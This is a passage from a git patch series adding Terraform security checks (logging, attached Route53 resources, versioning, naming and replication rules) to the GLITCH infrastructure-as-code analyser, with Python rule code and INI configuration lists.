'enabled_cluster_log_types'.")) + elif (au.type == "resource.aws_msk_cluster"): + broker_logs = check_required_attribute(au.attributes, ["logging_info"], "broker_logs") + if broker_logs: + active = False + logs_type = ["cloudwatch_logs", "firehose", "s3"] + a_list = [] + for type in logs_type: + log = check_required_attribute(broker_logs.keyvalues, [""], type) + if log: + enabled = check_required_attribute(log.keyvalues, [""], "enabled") + if enabled and f"{enabled.value}".lower() == "true": + active = True + elif enabled and f"{enabled.value}".lower() != "true": + a_list.append(enabled) + if not active and a_list == []: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name " + + f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) + if not active and a_list != []: + for a in a_list: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name " + + f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) + elif (au.type == "resource.aws_neptune_cluster"): + active = False + enable_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enable_cloudwatch_logs_exports[0]") + if enable_cloudwatch_logs_exports: + i = 0 + while enable_cloudwatch_logs_exports: + a = enable_cloudwatch_logs_exports + if enable_cloudwatch_logs_exports.value.lower() == "audit": + active = True + break + i += 1 + enable_cloudwatch_logs_exports = check_required_attribute(au.attributes, [""], f"enable_cloudwatch_logs_exports[{i}]") + if not active: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'enable_cloudwatch_logs_exports'.")) + elif (au.type == "resource.azurerm_mssql_server"): + expr = "\${azurerm_mssql_server\." + f"{au.name}" + pattern = re.compile(rf"{expr}") + assoc_au = get_associated_au(self.code, "resource.azurerm_mssql_server_extended_auditing_policy", + "server_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + + f"associated to an 'azurerm_mssql_server' resource.")) + elif (au.type == "resource.azurerm_mssql_database"): + expr = "\${azurerm_mssql_database\." + f"{au.name}" + pattern = re.compile(rf"{expr}") + assoc_au = get_associated_au(self.code, "resource.azurerm_mssql_database_extended_auditing_policy", + "database_id", pattern, [""]) + if not assoc_au: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required resource 'azurerm_mssql_database_extended_auditing_policy' " + + f"associated to an 'azurerm_mssql_database' resource.")) + elif (au.type == "resource.azurerm_postgresql_configuration"): + name = check_required_attribute(au.attributes, [""], "name") + value = check_required_attribute(au.attributes, [""], "value") + if (name and name.value.lower() in ["log_connections", "connection_throttling", "log_checkpoints"] + and value and value.value.lower() != "on"): + errors.append(Error('sec_logging', value, file, repr(value))) + elif (au.type == "resource.azurerm_monitor_log_profile"): + categories = check_required_attribute(au.attributes, [""], "categories[0]") + activities = [ "action", "delete", "write"] + if categories: + i = 0 + while categories: + a = categories + if categories.value.lower() in activities: + activities.remove(categories.value.lower()) + i += 1 + categories = check_required_attribute(au.attributes, [""], f"categories[{i}]") + if activities != []: + errors.append(Error('sec_logging', a, file, repr(a), + f"Suggestion: check for additional activity type(s) {activities}.")) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'categories'.")) + elif (au.type == "resource.google_sql_database_instance"): + for flag in SecurityVisitor.__GOOGLE_SQL_DATABASE_LOG_FLAGS: + required_flag = True + if flag['required'] == "no": + required_flag = False + check_database_flags('sec_logging', flag['flag_name'], flag['value'], required_flag) + + for config in SecurityVisitor.__LOGGING: + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) return errors @@ -752,6 +868,35 @@ def get_module_var(c, name: str): errors.append(Error('sec_permission_iam_policies', c, file, repr(c))) break + if (name == "cloud_watch_logs_group_arn" and atomic_unit.type == "resource.aws_cloudtrail"): + if re.match(r"^${aws_cloudwatch_log_group\..", value): + aws_cloudwatch_log_group_name = value.split('.')[1] + if not get_au(aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): + errors.append(Error('sec_logging', c, file, repr(c))) + else: + errors.append(Error('sec_logging', c, file, repr(c))) + elif (((name == "retention_in_days" and parent_name == "" + and atomic_unit.type in ["resource.azurerm_mssql_database_extended_auditing_policy", + "resource.azurerm_mssql_server_extended_auditing_policy"]) + or (name == "days" and parent_name == "retention_policy" + and atomic_unit.type == "resource.azurerm_network_watcher_flow_log")) + and ((not value.isnumeric()) or (value.isnumeric() and int(value) < 90))): + errors.append(Error('sec_logging', c, file, repr(c))) + elif (name == "days" and parent_name == "retention_policy" + and atomic_unit.type == "resource.azurerm_monitor_log_profile" + and (not value.isnumeric() or (value.isnumeric() and int(value) < 365))): + errors.append(Error('sec_logging', c, file, repr(c))) + + for config in SecurityVisitor.__LOGGING: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and value.lower() == ""): + errors.append(Error('sec_logging', c, file, repr(c))) + break + elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + errors.append(Error('sec_logging', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index d929a526..22585086 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -44,7 +44,7 @@ encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"] secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass", - "enable_key_rotation"] + "enable_key_rotation", "storage_account_access_key_is_secondary"] github_actions_resources = ["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] @@ -139,8 +139,6 @@ insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute" "values": ["false"], "required": "yes", "msg": "public_network_access_enabled"}, {"au_type": ["resource.azurerm_data_factory"], "attribute": "public_network_enabled", "parents": [""], "values": ["false"], "required": "yes", "msg": "public_network_enabled"}, - {"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], - "values": ["private"], "required": "no"}, {"au_type": ["resource.digitalocean_spaces_bucket"], "attribute": "acl", "parents": [""], "values": ["private"], "required": "yes", "msg": "acl"}, {"au_type": ["resource.digitalocean_spaces_bucket_object"], "attribute": "acl", "parents": [""], @@ -217,8 +215,12 @@ missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], "parents": [""], "values": ["true"], "required": "yes", "msg": "at_rest_encryption_enabled"}, {"au_type": ["resource.aws_kinesis_stream"], "attribute": "encryption_type", "parents": [""], "values": ["kms"], "required": "yes", "msg": "encryption_type"}, + {"au_type": ["resource.aws_msk_cluster"], "attribute": "encryption_in_transit", "parents": ["encryption_info"], + "values": [""], "required": "yes", "msg": "encryption_info.encryption_in_transit"}, {"au_type": ["resource.aws_msk_cluster"], "attribute": "client_broker", "parents": ["encryption_in_transit"], "values": ["tls"], "required": "no"}, + {"au_type": ["resource.aws_msk_cluster"], "attribute": "in_cluster", + "parents": ["encryption_in_transit"], "values": ["true"], "required": "no"}, {"au_type": ["resource.aws_redshift_cluster"], "attribute": "encrypted", "parents": [""], "values": ["true"], "required": "yes", "msg": "encrypted"}, {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], @@ -351,6 +353,73 @@ permission_iam_policies = [{"au_type": ["resource.google_project_iam_member", "r "roles/cloudasset.viewer", "roles/cloudasset.owner", "roles/serverless.serviceagent", "roles/dataproc.serviceagent"], "required": "no", "logic": "diff"}] +logging = [{"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], + "values": ["private"], "required": "no"}, + {"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "retention_in_days", "parents": [""], + "values": [""], "required": "yes", "msg": "retention_in_days"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], + "values": [""], "required": "yes", "msg": "queue_properties.logging.delete"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], + "values": [""], "required": "yes", "msg": "queue_properties.logging.read"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], + "values": [""], "required": "yes", "msg": "queue_properties.logging.write"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "delete", "parents": ["logging"], + "values": ["true"], "required": "yes", "msg": "queue_properties.logging.delete"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "read", "parents": ["logging"], + "values": ["true"], "required": "yes", "msg": "queue_properties.logging.read"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "write", "parents": ["logging"], + "values": ["true"], "required": "yes", "msg": "queue_properties.logging.write"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "logging", "parents": [""], + "values": [""], "required": "yes", "msg": "logging"}, + {"au_type": ["resource.aws_apigatewayv2_stage", "resource.aws_api_gateway_stage"], "attribute": "destination_arn", + "parents": ["access_log_settings"], "values": ["any_not_empty"], "required": "yes", + "msg": "access_log_settings.destination_arn"}, + {"au_type": ["resource.aws_api_gateway_stage"], "attribute": "xray_tracing_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "xray_tracing_enabled"}, + {"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "bucket", "parents": ["logging_config"], + "values": ["any_not_empty"], "required": "yes", "msg": "logging_config.bucket"}, + {"au_type": ["resource.aws_cloudtrail"], "attribute": "enable_log_file_validation", "parents": [""], + "values": ["true"], "required": "yes", "msg": "enable_log_file_validation"}, + {"au_type": ["resource.aws_cloudtrail"], "attribute": "cloud_watch_logs_group_arn", "parents": [""], + "values": [""], "required": "yes", "msg": "cloud_watch_logs_group_arn"}, + {"au_type": ["resource.aws_docdb_cluster"], "attribute": "enabled_cloudwatch_logs_exports", "parents": [""], + "values": ["audit", "profiler"], "required": "yes", "msg": "enabled_cloudwatch_logs_exports"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "log_type", "parents": ["log_publishing_options"], + "values": ["index_slow_logs", "search_slow_logs", "es_application_logs", "audit_logs"], "required": "yes", + "msg": "log_publishing_options.log_type"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["log_publishing_options"], + "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_lambda_function"], "attribute": "mode", "parents": ["tracing_config"], + "values": ["active"], "required": "yes", "msg": "tracing_config.mode"}, + {"au_type": ["resource.aws_mq_broker"], "attribute": "audit", "parents": ["logs"], + "values": ["true"], "required": "yes", "msg": "logs.audit"}, + {"au_type": ["resource.aws_mq_broker"], "attribute": "general", "parents": ["logs"], + "values": ["true"], "required": "yes", "msg": "logs.general"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "oms_agent", "parents": ["addon_profile"], + "values": [""], "required": "yes", "msg": "addon_profile.oms_agent.log_analytics_workspace_id"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "log_analytics_workspace_id", "parents": ["oms_agent"], + "values": ["any_not_empty"], "required": "yes", "msg": "addon_profile.oms_agent.log_analytics_workspace_id"}, + {"au_type": ["resource.azurerm_network_watcher_flow_log"], "attribute": "days", "parents": ["retention_policy"], + "values": [""], "required": "yes", "msg": "retention_policy.days"}, + {"au_type": ["resource.azurerm_monitor_log_profile"], "attribute": "days", "parents": ["retention_policy"], + "values": [""], "required": "yes", "msg": "retention_policy.days"}, + {"au_type": ["resource.google_compute_subnetwork"], "attribute": "log_config", "parents": [""], + "values": [""], "required": "yes", "msg": "log_config"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "logging_service", "parents": [""], + "values": ["logging.googleapis.com/kubernetes"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "monitoring_service", "parents": [""], + "values": ["monitoring.googleapis.com/kubernetes"], "required": "no"}, + {"au_type": ["resource.aws_rds_cluster_instance"], "attribute": "performance_insights_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "performance_insights_enabled"}] + +google_sql_database_log_flags = [{"flag_name": "log_checkpoints", "value": "on", "required": "yes"}, + {"flag_name": "log_connections", "value": "on", "required": "yes"}, + {"flag_name": "log_disconnections", "value": "on", "required": "yes"}, + {"flag_name": "log_lock_waits", "value": "on", "required": "yes"}, + {"flag_name": "log_temp_files", "value": "0", "required": "yes"}, + {"flag_name": "log_min_messages", "value": "warning", "required": "no"}, + {"flag_name": "log_min_duration_statement", "value": "-1", "required": "no"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From c2cc761048f61f100324c03743b93a398d3d3f2c Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Tue, 28 Mar 2023 17:30:39 +0100 Subject: [PATCH 14/58] Terraform: Attached Resource code smell --- glitch/analysis/rules.py | 3 ++- glitch/analysis/security.py | 39 +++++++++++++++++++++++++++++++++++++ glitch/configs/default.ini | 5 +++++ 3 files changed, 46 insertions(+), 1 deletion(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 29b49ff7..9000432f 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -30,7 +30,8 @@ class Error(): 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption.", 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used.", 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies.", - 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems." + 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems.", + 'sec_attached_resource': "Attached Resource - Ensure that Route53 A records point to resources part of your Account rather than just random IP addresses." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index d008e4bb..38ae772d 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -57,6 +57,7 @@ def config(self, config_path: str): SecurityVisitor.__GOOGLE_IAM_MEMBER = json.loads(config['security']['google_iam_member_resources']) SecurityVisitor.__LOGGING = json.loads(config['security']['logging']) SecurityVisitor.__GOOGLE_SQL_DATABASE_LOG_FLAGS = json.loads(config['security']['google_sql_database_log_flags']) + SecurityVisitor.__POSSIBLE_ATTACHED_RESOURCES = json.loads(config['security']['possible_attached_resources_aws_route53']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -79,6 +80,23 @@ def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: break + def get_au(c, name: str, type: str): + if isinstance(c, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in self.code.modules: + if m.name == module_name: + return get_au(m, name, type) + elif isinstance(c, Module): + for ub in c.blocks: + au = get_au(ub, name, type) + if au: + return au + else: + for au in c.atomic_units: + if (au.type == type and au.name == name): + return au + return None + def get_associated_au(c, type: str, attribute_name: str , pattern, attribute_parents: list): if isinstance(c, Project): module_name = os.path.basename(os.path.dirname(file)) @@ -531,6 +549,27 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f errors.append(Error('sec_logging', au, file, repr(au), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + # check attached resource + def check_attached_resource(attributes, resource_types): + for a in attributes: + if a.value != None: + for resource_type in resource_types: + if (f"{a.value}".lower().startswith("${" + f"{resource_type}.") + or f"{a.value}".lower().startswith(f"{resource_type}.")): + resource_name = a.value.lower().split(".")[1] + if get_au(self.code, resource_name, f"resource.{resource_type}"): + return True + elif a.value == None: + attached = check_attached_resource(a.keyvalues, resource_types) + if attached: + return True + return False + + if (au.type == "resource.aws_route53_record"): + type_A = check_required_attribute(au.attributes, [""], "type", "a") + if type_A and not check_attached_resource(au.attributes, SecurityVisitor.__POSSIBLE_ATTACHED_RESOURCES): + errors.append(Error('sec_attached_resource', au, file, repr(au))) + return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 22585086..662fba7d 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -420,6 +420,11 @@ google_sql_database_log_flags = [{"flag_name": "log_checkpoints", "value": "on", {"flag_name": "log_min_messages", "value": "warning", "required": "no"}, {"flag_name": "log_min_duration_statement", "value": "-1", "required": "no"}] +possible_attached_resources_aws_route53 = ["aws_instance", "aws_eip", "aws_elb", "aws_lb", "aws_alb", "aws_route53_record", + "aws_s3_bucket", "aws_api_gateway_domain_name", "aws_elastic_beanstalk_environment", "aws_vpc_endpoint", + "aws_globalaccelerator_accelerator", "aws_cloudfront_distribution", "aws_db_instance", "aws_apigatewayv2_domain_name", + "aws_lightsail_instance"] + [design] exec_atomic_units = ["exec"] default_variables = [] From c7cc608a6d271b7cb64e9119ba6a8ebaffff6523 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 30 Mar 2023 09:40:29 +0100 Subject: [PATCH 15/58] Terraform: Versioning, Naming and Replication code smells --- glitch/analysis/rules.py | 5 ++- glitch/analysis/security.py | 72 +++++++++++++++++++++++++++++++++++++ glitch/configs/default.ini | 15 ++++++++ 3 files changed, 91 insertions(+), 1 deletion(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index 9000432f..a3941594 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -31,7 +31,10 @@ class Error(): 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used.", 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies.", 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems.", - 'sec_attached_resource': "Attached Resource - Ensure that Route53 A records point to resources part of your Account rather than just random IP addresses." + 'sec_attached_resource': "Attached Resource - Ensure that Route53 A records point to resources part of your account rather than just random IP addresses.", + 'sec_versioning': "Versioning - Ensure that versioning is enabled so that users can retrieve and restore previous versions.", + 'sec_naming': "Naming - Ensure storage accounts adhere to the naming rules and every security groups and rules have a description.", + 'sec_replication': "Replication - Ensure that cross-region replication is enabled to allow copying objects across S3 buckets." }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 38ae772d..f9ff697f 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -58,6 +58,9 @@ def config(self, config_path: str): SecurityVisitor.__LOGGING = json.loads(config['security']['logging']) SecurityVisitor.__GOOGLE_SQL_DATABASE_LOG_FLAGS = json.loads(config['security']['google_sql_database_log_flags']) SecurityVisitor.__POSSIBLE_ATTACHED_RESOURCES = json.loads(config['security']['possible_attached_resources_aws_route53']) + SecurityVisitor.__VERSIONING = json.loads(config['security']['versioning']) + SecurityVisitor.__NAMING = json.loads(config['security']['naming']) + SecurityVisitor.__REPLICATION = json.loads(config['security']['replication']) def check_atomicunit(self, au: AtomicUnit, file: str) -> list[Error]: errors = super().check_atomicunit(au, file) @@ -570,6 +573,46 @@ def check_attached_resource(attributes, resource_types): if type_A and not check_attached_resource(au.attributes, SecurityVisitor.__POSSIBLE_ATTACHED_RESOURCES): errors.append(Error('sec_attached_resource', au, file, repr(au))) + # check versioning + for config in SecurityVisitor.__VERSIONING: + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_versioning', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + # check naming + if (au.type == "resource.aws_security_group"): + ingress = check_required_attribute(au.attributes, [""], "ingress") + egress = check_required_attribute(au.attributes, [""], "egress") + if ingress and not check_required_attribute(ingress.keyvalues, [""], "description"): + errors.append(Error('sec_naming', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'ingress.description'.")) + if egress and not check_required_attribute(egress.keyvalues, [""], "description"): + errors.append(Error('sec_naming', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'egress.description'.")) + + for config in SecurityVisitor.__NAMING: + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_naming', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + # check replication + if (au.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{au.name}" + pattern = re.compile(rf"{expr}") + if not get_associated_au(self.code, "resource.aws_s3_bucket_replication_configuration", + "bucket", pattern, [""]): + errors.append(Error('sec_replication', au, file, repr(au), + f"Suggestion: check for a required resource 'aws_s3_bucket_replication_configuration' " + + f"associated to an 'aws_s3_bucket' resource.")) + + for config in SecurityVisitor.__REPLICATION: + if (config['required'] == "yes" and au.type in config['au_type'] + and not check_required_attribute(au.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_replication', au, file, repr(au), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + return errors def check_dependency(self, d: Dependency, file: str) -> list[Error]: @@ -936,6 +979,35 @@ def get_module_var(c, name: str): errors.append(Error('sec_logging', c, file, repr(c))) break + for config in SecurityVisitor.__VERSIONING: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and value.lower() not in config['values']): + errors.append(Error('sec_versioning', c, file, repr(c))) + break + + if (name == "name" and atomic_unit.type in ["resource.azurerm_storage_account"]): + pattern = r'^[a-z0-9]{3,24}$' + if not re.match(pattern, value): + errors.append(Error('sec_naming', c, file, repr(c))) + + for config in SecurityVisitor.__NAMING: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and value.lower() == ""): + errors.append(Error('sec_naming', c, file, repr(c))) + break + elif ("any_not_empty" not in config['values'] and value.lower() not in config['values']): + errors.append(Error('sec_naming', c, file, repr(c))) + break + + for config in SecurityVisitor.__REPLICATION: + if (name == config['attribute'] and atomic_unit.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and value.lower() not in config['values']): + errors.append(Error('sec_replication', c, file, repr(c))) + break + return errors def check_attribute(self, a: Attribute, file: str, au: AtomicUnit = None, parent_name: str = "") -> list[Error]: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 662fba7d..b914d50a 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -425,6 +425,21 @@ possible_attached_resources_aws_route53 = ["aws_instance", "aws_eip", "aws_elb", "aws_globalaccelerator_accelerator", "aws_cloudfront_distribution", "aws_db_instance", "aws_apigatewayv2_domain_name", "aws_lightsail_instance"] +versioning = [{"au_type": ["resource.aws_s3_bucket"], "attribute": "enabled", "parents": ["versioning"], + "values": ["true"], "required": "yes", "msg": "versioning.enabled"}, + {"au_type": ["resource.digitalocean_spaces_bucket"], "attribute": "enabled", "parents": ["versioning"], + "values": ["true"], "required": "yes", "msg": "versioning.enabled"}] + +naming = [{"au_type": ["resource.aws_security_group", "resource.aws_security_group_rule", + "resource.aws_elasticache_security_group", "resource.openstack_networking_secgroup_v2", + "resource.openstack_networking_secgroup_rule_v2"],"attribute": "description", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "description"}, + {"au_type": ["resource.aws_security_group"], "attribute": "description", + "parents": ["ingress", "egress"], "values": ["any_not_empty"], "required": "no"}] + +replication = [{"au_type": ["resource.aws_s3_bucket_replication_configuration"], "attribute": "status", + "parents": ["rule"], "values": ["enabled"], "required": "yes", "msg": "rule.status"}] + [design] exec_atomic_units = ["exec"] default_variables = [] From 3b5b82246bef122ee850953309ba28c59b87fc88 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 30 Mar 2023 11:08:04 +0100 Subject: [PATCH 16/58] Added rule to Terraform: Logging code smell and moved another rule to Insecure Access Control code smell --- glitch/analysis/security.py | 42 +++++++++++++++++++++++++++++++++++-- glitch/configs/default.ini | 8 +++---- 2 files changed, 44 insertions(+), 6 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index f9ff697f..351159ec 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -506,7 +506,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f if not assoc_au: errors.append(Error('sec_logging', au, file, repr(au), f"Suggestion: check for a required resource 'azurerm_mssql_server_extended_auditing_policy' " + - f"associated to an 'azurerm_mssql_server' resource.")) + f"associated to an 'azurerm_mssql_server' resource.")) elif (au.type == "resource.azurerm_mssql_database"): expr = "\${azurerm_mssql_database\." + f"{au.name}" pattern = re.compile(rf"{expr}") @@ -515,7 +515,7 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f if not assoc_au: errors.append(Error('sec_logging', au, file, repr(au), f"Suggestion: check for a required resource 'azurerm_mssql_database_extended_auditing_policy' " + - f"associated to an 'azurerm_mssql_database' resource.")) + f"associated to an 'azurerm_mssql_database' resource.")) elif (au.type == "resource.azurerm_postgresql_configuration"): name = check_required_attribute(au.attributes, [""], "name") value = check_required_attribute(au.attributes, [""], "value") @@ -545,6 +545,44 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f if flag['required'] == "no": required_flag = False check_database_flags('sec_logging', flag['flag_name'], flag['value'], required_flag) + elif (au.type == "resource.azurerm_storage_container"): + storage_account_name = check_required_attribute(au.attributes, [""], "storage_account_name") + if storage_account_name.value.lower().startswith("${azurerm_storage_account."): + name = storage_account_name.value.lower().split('.')[1] + storage_account_au = get_au(self.code, name, "resource.azurerm_storage_account") + if storage_account_au: + expr = "\${azurerm_storage_account\." + f"{name}" + pattern = re.compile(rf"{expr}") + assoc_au = get_associated_au(self.code, "resource.azurerm_log_analytics_storage_insights", + "storage_account_id", pattern, [""]) + if assoc_au: + blob_container_names = check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") + if blob_container_names: + i = 0 + contains_blob_name = False + while blob_container_names: + a = blob_container_names + if blob_container_names.value: + contains_blob_name = True + break + i += 1 + blob_container_names = check_required_attribute(assoc_au.attributes, [""], f"blob_container_names[{i}]") + if not contains_blob_name: + errors.append(Error('sec_logging', a, file, repr(a))) + else: + errors.append(Error('sec_logging', assoc_au, file, repr(assoc_au), + f"Suggestion: check for a required attribute with name 'blob_container_names'.")) + else: + errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), + f"Suggestion: check for a required resource 'azurerm_log_analytics_storage_insights' " + + f"associated to an 'azurerm_storage_account' resource.")) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.")) + container_access_type = check_required_attribute(au.attributes, [""], "container_access_type") + if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: + errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) for config in SecurityVisitor.__LOGGING: if (config['required'] == "yes" and au.type in config['au_type'] diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index b914d50a..a4894da8 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -159,7 +159,9 @@ insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute" {"au_type": ["resource.google_storage_bucket"], "attribute": "uniform_bucket_level_access", "parents": [""], "values": ["true"], "required": "yes", "msg": "uniform_bucket_level_access"}, {"au_type": ["resource.google_compute_instance"], "attribute": "email", - "parents": ["service_account"], "values": [""], "required": "yes", "msg": "service_account.email"}] + "parents": ["service_account"], "values": [""], "required": "yes", "msg": "service_account.email"}, + {"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], + "values": ["private"], "required": "no"}] authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], "attribute": "enabled", "parents": ["auth_settings"], "values": ["true"], "required": "yes", "msg": "auth_settings.enabled"}, @@ -353,9 +355,7 @@ permission_iam_policies = [{"au_type": ["resource.google_project_iam_member", "r "roles/cloudasset.viewer", "roles/cloudasset.owner", "roles/serverless.serviceagent", "roles/dataproc.serviceagent"], "required": "no", "logic": "diff"}] -logging = [{"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], - "values": ["private"], "required": "no"}, - {"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "retention_in_days", "parents": [""], +logging = [{"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "retention_in_days", "parents": [""], "values": [""], "required": "yes", "msg": "retention_in_days"}, {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], "values": [""], "required": "yes", "msg": "queue_properties.logging.delete"}, From f9721b6109916bbf4b9589af0110c390e2054939 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Thu, 30 Mar 2023 15:59:11 +0100 Subject: [PATCH 17/58] Tests for Terraform: Insecure Access Control code smell and minor fixes --- glitch/analysis/security.py | 52 +++-- glitch/configs/default.ini | 24 ++- glitch/parsers/cmof.py | 6 +- .../access-to-bigquery-dataset.tf | 19 ++ .../aks-ip-ranges-enabled.tf | 24 +++ .../associated-access-block-to-s3-bucket.tf | 58 ++++++ ...s-database-instance-publicly-accessible.tf | 39 ++++ .../aws-sqs-no-wildcards-in-policy.tf | 31 +++ 